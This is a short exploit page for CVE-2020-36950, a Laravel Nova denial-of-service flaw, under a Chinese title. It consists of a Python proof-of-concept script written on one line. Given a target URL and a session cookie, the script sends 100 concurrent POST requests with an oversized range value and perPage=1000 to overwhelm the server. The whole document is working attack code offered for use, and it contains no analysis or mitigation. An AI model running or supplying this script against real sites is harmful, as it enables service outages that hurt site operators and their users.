CVE-2020-36950 Laravel Nova range参数拒绝服务漏洞

#!/usr/bin/env python3 # CVE-2020-36950 Laravel Nova DoS PoC # Usage: python3 nova_dos_poc.py <target_url> <session_cookie> import requests import sys import concurrent.futures def send_dos_request(url, session_cookie): """Send a single DoS request with large range parameter""" headers = { 'Cookie': f'nova_session={session_cookie}', 'Content-Type': 'application/x-www-form-urlencoded' } # Exploit the range parameter with extreme value data = { 'range': '999999999', 'perPage': '1000' } try: response = requests.post(url, headers=headers, data=data, timeout=30) return response.status_code except requests.exceptions.RequestException as e: return f"Error: {e}" def main(): if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} <target_url> <session_cookie>") sys.exit(1) target_url = sys.argv[1] session_cookie = sys.argv[2] print(f"[*] Starting DoS attack on {target_url}") print(f"[*] Target: Laravel Nova with range parameter vulnerability") # Launch concurrent requests to overwhelm the server with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor: futures = [executor.submit(send_dos_request, target_url, session_cookie) for _ in range(100)] results = [f.result() for f in concurrent.futures.as_completed(futures)] print(f"[*] Sent {len(results)} requests") print(f"[*] Attack completed") if __name__ == '__main__': main()